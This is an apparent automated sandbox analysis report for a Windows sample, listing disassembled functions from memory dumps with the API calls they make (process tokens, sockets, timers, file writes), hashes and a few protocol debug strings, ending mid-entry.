WideCharToMultiByte.KERNEL32 ref: 000001CFB961CF5C
free.LIBCMT ref: 000001CFB961CF70
free.LIBCMT ref: 000001CFB961CF81

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocHeap_callnewh
String ID:
API String ID: 1080698880-0
Opcode ID: 57a05af81f985b0e377ceb1598bee9b74d02fc96113ccd60c581adf0dcb7ad62
Instruction ID: 690c7a5f71eccc69ed72f77799a87f2c5c3001875e5f40de401591cdfccb6e99
Opcode Fuzzy Hash: 57a05af81f985b0e377ceb1598bee9b74d02fc96113ccd60c581adf0dcb7ad62
Instruction Fuzzy Hash: 37818D326407D28AFB249F26D440BDD76B7FB48BA4F545239EA5957BD4EB38CE028700

Function 000001CFB9607D90 Relevance: 15.1, APIs: 10, Instructions: 126COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 000001CFB9607DAD
OpenProcess.KERNEL32 ref: 000001CFB9607DBD
OpenProcessToken.ADVAPI32 ref: 000001CFB9607DE5
CloseHandle.KERNEL32 ref: 000001CFB9607DF2
SysStringLen.OLEAUT32 ref: 000001CFB9607E40
SysStringLen.OLEAUT32 ref: 000001CFB9607E53
CloseHandle.KERNEL32 ref: 000001CFB9607EBD
CloseHandle.KERNEL32 ref: 000001CFB9607EC6
SysFreeString.OLEAUT32 ref: 000001CFB9607EFC
SysFreeString.OLEAUT32 ref: 000001CFB9607F39

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: String$CloseHandleProcess$FreeOpen$CurrentToken
String ID:
API String ID: 3697972778-0
Opcode ID: 403ccc861227b449e0fde81aaec5a2f355ca415b91da956a830027824c60e844
Instruction ID: 9f0049fa0e77eafbcd459bf31a43436a274fcb53202c60fa74f70851ff3eac45
Opcode Fuzzy Hash: 403ccc861227b449e0fde81aaec5a2f355ca415b91da956a830027824c60e844
Instruction Fuzzy Hash: 005187352416C282FE68AB11E890BE97373FB84B94F48813DDE99477A5DF38CE468740

Function 000001CFB961C30C Relevance: 15.1, APIs: 10, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB961C353
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C35F
_errno.LIBCMT ref: 000001CFB961C3A9
_errno.LIBCMT ref: 000001CFB961C3B4
_errno.LIBCMT ref: 000001CFB961C3E6
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C3F0
WideCharToMultiByte.KERNEL32 ref: 000001CFB961C462
GetLastError.KERNEL32 ref: 000001CFB961C47F
_errno.LIBCMT ref: 000001CFB961C4A5
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C4B1

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 2295021086-0
Opcode ID: 4da4875620b1f92b924daa6a931a778707caf5e849f7b64176c98afd523aee9e
Instruction ID: 3e58d3fe072175ec79e598c7b80dfa0167c993d28fe3f72c841e794ea97e8ace
Opcode Fuzzy Hash: 4da4875620b1f92b924daa6a931a778707caf5e849f7b64176c98afd523aee9e
Instruction Fuzzy Hash: AB51D7726407E38AFB65DB26C441BEC26B3A740BA8F146239DA5547AD5EB3CCE438704

Function 000001CFB961A5BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 000001CFB961A5DD

Part of subcall function 000001CFB9616F6C: Sleep.KERNEL32 ref: 000001CFB9616FB1

GetFileType.KERNEL32 ref: 000001CFB961A748
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001CFB961A786

Strings

@, xrefs: 000001CFB961A841

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: 5e9121238b5210a1ea3159215a31185dcb12772a96a5da2caa2b43af4d344009
Instruction ID: 5db7c232ec6712013b9bc2561b58d378b5d2cfb045c4339d451d39eedf520667
Opcode Fuzzy Hash: 5e9121238b5210a1ea3159215a31185dcb12772a96a5da2caa2b43af4d344009
Instruction Fuzzy Hash: 8D815976244BD286FB548F24D584BA937B3EB44B74F55A33DCA7A822D1DB38CA56C300

Function 000001CFB96144F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 000001CFB9614519

Part of subcall function 000001CFB961B128: _amsg_exit.LIBCMT ref: 000001CFB961B152

DecodePointer.KERNEL32 ref: 000001CFB961454C
DecodePointer.KERNEL32 ref: 000001CFB961456A
DecodePointer.KERNEL32 ref: 000001CFB96145AA
DecodePointer.KERNEL32 ref: 000001CFB96145C4
DecodePointer.KERNEL32 ref: 000001CFB96145D4
ExitProcess.KERNEL32 ref: 000001CFB9614660

Strings

ceil, xrefs: 000001CFB9614500

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID: ceil
API String ID: 3411037476-3069211559
Opcode ID: b5dd8a30d6b54562a72f65b778ed9eb5167f322a29820b7d336c5849ae73d17a
Instruction ID: e53cd8864248b7de0575a7a1830227bc5af6d1b6e6cf24c141e72ca9f4774a9f
Opcode Fuzzy Hash: b5dd8a30d6b54562a72f65b778ed9eb5167f322a29820b7d336c5849ae73d17a
Instruction Fuzzy Hash: 5341B131296AD281F6509B26F940BD972B7F798B88F50103DEA4D437A4EF38CE578300

Function 000001CFB9606210 Relevance: 13.6, APIs: 9, Instructions: 101timenetworkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB960627A
timeGetTime.WINMM ref: 000001CFB96062A8
WSASetLastError.WS2_32 ref: 000001CFB96062C9
LeaveCriticalSection.KERNEL32 ref: 000001CFB96062D3
timeGetTime.WINMM ref: 000001CFB96062EA
SetEvent.KERNEL32 ref: 000001CFB9606324
LeaveCriticalSection.KERNEL32 ref: 000001CFB9606336
LeaveCriticalSection.KERNEL32 ref: 000001CFB9606365
WSASetLastError.WS2_32 ref: 000001CFB960638E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEvent
String ID:
API String ID: 3019579578-0
Opcode ID: 79e511864709ffbbde73a33bf69e271293399a6222738070655b22a36dfb0dad
Instruction ID: e547e808bb784e5b2e02f268e01fd9ac8887f860660ddf6837885974b6f43d63
Opcode Fuzzy Hash: 79e511864709ffbbde73a33bf69e271293399a6222738070655b22a36dfb0dad
Instruction Fuzzy Hash: 0B4153321446C18BF7749B15E4907AEB3B3F3A4754F14523ADB8A43AA4DB78EE86C740

Function 000001CFB96060F0 Relevance: 13.6, APIs: 9, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 000001CFB960610A
TryEnterCriticalSection.KERNEL32 ref: 000001CFB960612B
TryEnterCriticalSection.KERNEL32 ref: 000001CFB960613D
SetLastError.KERNEL32 ref: 000001CFB9606156
LeaveCriticalSection.KERNEL32 ref: 000001CFB9606160
LeaveCriticalSection.KERNEL32 ref: 000001CFB960616A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: d3e572e5e79f9f815d661d2295d7187d85695194ec046127c100848211dd9382
Instruction ID: b3884703946b02938f06e6ed99855a06ac4644bd7469291f100a2d5eeda29e40
Opcode Fuzzy Hash: d3e572e5e79f9f815d661d2295d7187d85695194ec046127c100848211dd9382
Instruction Fuzzy Hash: F0314D326506C28AF7509F28D4C4B9D37B3FB64B48F54117ADA06866A5DF39CE8BC740

Function 000001CFB960E510 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 000001CFB960E58D
WriteFile.KERNEL32 ref: 000001CFB960E5BE
CloseHandle.KERNEL32 ref: 000001CFB960E5CB
lstrlenW.KERNEL32 ref: 000001CFB960E5D6
wsprintfW.USER32 ref: 000001CFB960E5FC

Strings

%s %s, xrefs: 000001CFB960E5F5

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlenwsprintf
String ID: %s %s
API String ID: 2369136734-2939940506
Opcode ID: 586a3a816ee8a111b5affe1204b7927bea72fa21104d559b43d04ba7da1764eb
Instruction ID: bfad37dcd546c0eb361adffec60d28849b99b8774bedb6131cae3289bd33e848
Opcode Fuzzy Hash: 586a3a816ee8a111b5affe1204b7927bea72fa21104d559b43d04ba7da1764eb
Instruction Fuzzy Hash: 0E31CE312589D681FB709F21F494BDBB773F7D4794F44412A9A8942AA8DF38CE0ACB00

Function 000001CFB95CBDDD Relevance: 12.2, APIs: 8, Instructions: 165COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95CBE24
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CBE30
_errno.LIBCMT ref: 000001CFB95CBE7A
_errno.LIBCMT ref: 000001CFB95CBE85
_errno.LIBCMT ref: 000001CFB95CBEB7
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CBEC1
_errno.LIBCMT ref: 000001CFB95CBF76
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CBF82

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: aaccad324fe5c70c5f9df746226d9364551112f4e2a8b53086705aa8a37d231d
Instruction ID: 06cad3256470c076386c431705828d7e7d6ea3d1072e5d9e2856bf1977deccb5
Opcode Fuzzy Hash: aaccad324fe5c70c5f9df746226d9364551112f4e2a8b53086705aa8a37d231d
Instruction Fuzzy Hash: 4551D2325D0A998BFBE59B28C584BE936F2FB44711F14427DE585C66D2CB30CE86C781

Function 000001CFB939F95C Relevance: 12.2, APIs: 8, Instructions: 165COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB939F9A3
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB939F9AF
_errno.LIBCMT ref: 000001CFB939F9F9
_errno.LIBCMT ref: 000001CFB939FA04
_errno.LIBCMT ref: 000001CFB939FA36
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB939FA40
_errno.LIBCMT ref: 000001CFB939FAF5
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB939FB01

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: c6f261f24af21140089df4e3039563bf3863edad6c6e4257521d5947174435c6
Instruction ID: 0f404d5bcfc087cd2af7ec6c69fc41e0653fd15987c64b3ce2539dc457897e4b
Opcode Fuzzy Hash: c6f261f24af21140089df4e3039563bf3863edad6c6e4257521d5947174435c6
Instruction Fuzzy Hash: C3518E30550A9A9AFB659F98C484BE977F6FF44321F3C427D941BC61D2CB35CE428A42

Function 000001CFB9604AA0 Relevance: 12.1, APIs: 8, Instructions: 120memorynetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9604CA0: EnterCriticalSection.KERNEL32 ref: 000001CFB9604CCE
Part of subcall function 000001CFB9604CA0: LeaveCriticalSection.KERNEL32 ref: 000001CFB9604D22

send.WS2_32 ref: 000001CFB9604AF3
EnterCriticalSection.KERNEL32 ref: 000001CFB9604B07
LeaveCriticalSection.KERNEL32 ref: 000001CFB9604B1B
HeapFree.KERNEL32 ref: 000001CFB9604B97
WSAGetLastError.WS2_32 ref: 000001CFB9604BE4
EnterCriticalSection.KERNEL32 ref: 000001CFB9604BF8
LeaveCriticalSection.KERNEL32 ref: 000001CFB9604C46
HeapFree.KERNEL32 ref: 000001CFB9604C84

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap$ErrorLastsend
String ID:
API String ID: 1701177279-0
Opcode ID: c42e260d004b3bc25826a470d31d1e4496d73dbccdd2e5f324cb076cb23d5860
Instruction ID: ee8ace7b64920340e34e98270f4b7eac20fc641c67da75258e46e002c3123a67
Opcode Fuzzy Hash: c42e260d004b3bc25826a470d31d1e4496d73dbccdd2e5f324cb076cb23d5860
Instruction Fuzzy Hash: 8D513932240AC28AF7749F26E484BDD37B6F744B98F404029DA4A47B94EF78DA96C740

Function 000001CFB9603F40 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32 ref: 000001CFB9603FA2

Part of subcall function 000001CFB9601370: free.LIBCMT ref: 000001CFB9601390
Part of subcall function 000001CFB9601370: malloc.LIBCMT ref: 000001CFB96013BC

setsockopt.WS2_32 ref: 000001CFB960403D
setsockopt.WS2_32 ref: 000001CFB9604067
ResetEvent.KERNEL32 ref: 000001CFB96040B5
SetLastError.KERNEL32 ref: 000001CFB96040E0
GetLastError.KERNEL32 ref: 000001CFB96040F8

Part of subcall function 000001CFB9604D50: GetCurrentThreadId.KERNEL32 ref: 000001CFB9604D5D

SetLastError.KERNEL32 ref: 000001CFB960410A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLast$setsockopt$CreateCurrentEventResetThreadTimerWaitablefreemalloc
String ID:
API String ID: 3356772049-0
Opcode ID: c2b72c0c646ab73e3ff6ad403e122b312f2e4904b90c25866ab9b8e9ab376b02
Instruction ID: 43b5a1c0c6803778cb5ec72da0a92c0f2940db8f6dfb4dea4fd20668f76725ee
Opcode Fuzzy Hash: c2b72c0c646ab73e3ff6ad403e122b312f2e4904b90c25866ab9b8e9ab376b02
Instruction Fuzzy Hash: DC516A72200B829BF7549F25E58479D77B2F748788F10403AEB4987B90DF79DA668B40

Function 000001CFB9605430 Relevance: 12.1, APIs: 8, Instructions: 82networksleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 000001CFB9605460
timeGetTime.WINMM ref: 000001CFB9605486
GetCurrentThreadId.KERNEL32 ref: 000001CFB96054A9
send.WS2_32 ref: 000001CFB96054EC
SetEvent.KERNEL32 ref: 000001CFB960550A
WSACloseEvent.WS2_32 ref: 000001CFB9605520
shutdown.WS2_32 ref: 000001CFB9605539
closesocket.WS2_32 ref: 000001CFB9605543

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Event$CloseCurrentSleepThreadTimeclosesocketsendshutdowntime
String ID:
API String ID: 929257074-0
Opcode ID: 24b510512f13a46b6ad09972d22530b9cbeb376f452b7ede55be531369f4c3e4
Instruction ID: 97a7ef79d0782c56234f947ee20215b280ae35822f217171a7ac464b1b892554
Opcode Fuzzy Hash: 24b510512f13a46b6ad09972d22530b9cbeb376f452b7ede55be531369f4c3e4
Instruction Fuzzy Hash: F8311A3265069286FB619F26E4D4B9C33B3F784F65F14023ADA69466D8CF38CD46C740

Function 000001CFB9604F70 Relevance: 12.1, APIs: 8, Instructions: 64windowCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 000001CFB9604F97
MsgWaitForMultipleObjects.USER32 ref: 000001CFB9604FC8
PeekMessageW.USER32 ref: 000001CFB9604FE4
TranslateMessage.USER32 ref: 000001CFB9604FF5
DispatchMessageW.USER32 ref: 000001CFB9605000
PeekMessageW.USER32 ref: 000001CFB960501B
SetLastError.KERNEL32 ref: 000001CFB9605047
CloseHandle.KERNEL32 ref: 000001CFB960505C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Message$Peek$CloseDispatchErrorEventHandleLastMultipleObjectsTranslateWait
String ID:
API String ID: 1713936993-0
Opcode ID: 90a3110bf25015334eda103b4dedeb1e46d3b967c95bf731c5aa3acee31876e2
Instruction ID: bc94b0e70aa930b097f886973eabf088943eee2cd1ede2d52310e4abc483038d
Opcode Fuzzy Hash: 90a3110bf25015334eda103b4dedeb1e46d3b967c95bf731c5aa3acee31876e2
Instruction Fuzzy Hash: 58217F326505C282F7609F35E494F9E32B3FBA5B48F54423DDA5A825A4DF38CE5ACB01

Function 000001CFB9604E30 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB9604E55
ResetEvent.KERNEL32 ref: 000001CFB9604E62
ResetEvent.KERNEL32 ref: 000001CFB9604E6F
ResetEvent.KERNEL32 ref: 000001CFB9604E7C
HeapFree.KERNEL32 ref: 000001CFB9604EDF
HeapDestroy.KERNEL32 ref: 000001CFB9604EFF
HeapCreate.KERNEL32 ref: 000001CFB9604F19
SetEvent.KERNEL32 ref: 000001CFB9604F4D

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Event$HeapReset$CreateCriticalDestroyEnterFreeSection
String ID:
API String ID: 1658878062-0
Opcode ID: b15515cd42b3c7a59d11d40a96123be03e24d317c2afb497afd93c342ce18e7a
Instruction ID: f8b241b9cd6935d1207d0273672034702bc668b4f763ae6fb941968f79ddbd72
Opcode Fuzzy Hash: b15515cd42b3c7a59d11d40a96123be03e24d317c2afb497afd93c342ce18e7a
Instruction Fuzzy Hash: 78310636240BC2E2F698DB21E6847DCB776F754B80F50412ADB6A43651DF70EAB6C340

Function 000001CFB961B040 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000001CFB961B067

Part of subcall function 000001CFB9614950: _set_error_mode.LIBCMT ref: 000001CFB9614959
Part of subcall function 000001CFB9614950: _set_error_mode.LIBCMT ref: 000001CFB9614968

Part of subcall function 000001CFB96146F0: _set_error_mode.LIBCMT ref: 000001CFB9614735
Part of subcall function 000001CFB96146F0: _set_error_mode.LIBCMT ref: 000001CFB9614746
Part of subcall function 000001CFB96146F0: GetModuleFileNameW.KERNEL32 ref: 000001CFB96147A8

Part of subcall function 000001CFB961435C: ExitProcess.KERNEL32 ref: 000001CFB961436B

Part of subcall function 000001CFB9616EEC: malloc.LIBCMT ref: 000001CFB9616F17
Part of subcall function 000001CFB9616EEC: Sleep.KERNEL32 ref: 000001CFB9616F2A

_errno.LIBCMT ref: 000001CFB961B0A9
_lock.LIBCMT ref: 000001CFB961B0BD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001CFB961B0D3
free.LIBCMT ref: 000001CFB961B0E0
_errno.LIBCMT ref: 000001CFB961B0E5
LeaveCriticalSection.KERNEL32 ref: 000001CFB961B108

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 4fc1ef6820775603606cc9dc222b7fdce9a924a0b9393d1a9cfc6eff100aeab1
Instruction ID: 50bf1cf4b819c40919b1a9062a3826e2ec3a2d382361ad5e879d51f91b0c0858
Opcode Fuzzy Hash: 4fc1ef6820775603606cc9dc222b7fdce9a924a0b9393d1a9cfc6eff100aeab1
Instruction Fuzzy Hash: CD21D1316846E382F614AB32E805FEE23B7E780B84F05603CEA46476D6CF38CE428350

Function 000001CFB9602360 Relevance: 10.8, APIs: 2, Strings: 5, Instructions: 339COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB9602576
malloc.LIBCMT ref: 000001CFB960265D

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

Strings

input psh: sn=%lu ts=%lu, xrefs: 000001CFB960260E
input wins: %lu, xrefs: 000001CFB96026FE
input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 000001CFB96025D1
input probe, xrefs: 000001CFB96026D5
[RI] %d bytes, xrefs: 000001CFB960239A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$AllocHeap_callnewhfreemalloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3198430600-868042568
Opcode ID: b9c24d6dd6d448623d8194ce3ec9ac1b7630b16744956a884b9e9d050a879636
Instruction ID: 8dd71b149989431801593a53281c0903e6b04ee5ea2531b89fd2ee64132df9bd
Opcode Fuzzy Hash: b9c24d6dd6d448623d8194ce3ec9ac1b7630b16744956a884b9e9d050a879636
Instruction Fuzzy Hash: EDE1A0726446D28BF7768B29E4D0B9A7BB3FB84784F144029DB9643B85D738DE46CB00

Function 000001CFB9604400 Relevance: 10.7, APIs: 7, Instructions: 154threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CFB9604430
SetWaitableTimer.KERNEL32 ref: 000001CFB9604472
WSAWaitForMultipleEvents.WS2_32 ref: 000001CFB960451C
SetLastError.KERNEL32 ref: 000001CFB96045C7
GetLastError.KERNEL32 ref: 000001CFB96045CD
WSAGetLastError.WS2_32 ref: 000001CFB96045FA
GetCurrentThreadId.KERNEL32 ref: 000001CFB960462F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: e284b261f3e280a2c9a426dcad1901252badce78381e2805f3eccfd93789d7af
Instruction ID: f4ec884d58e22df76d0af162c33abf7e59498c4bc948314c5003774c011ca560
Opcode Fuzzy Hash: e284b261f3e280a2c9a426dcad1901252badce78381e2805f3eccfd93789d7af
Instruction Fuzzy Hash: CA615B31280AC286FB649F25D8D4BD923B7F744B98F544239EE5A867D5EF34CE428310

Function 000001CFB960CD5E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

Part of subcall function 000001CFB9611EF8: _callnewh.LIBCMT ref: 000001CFB9611F06
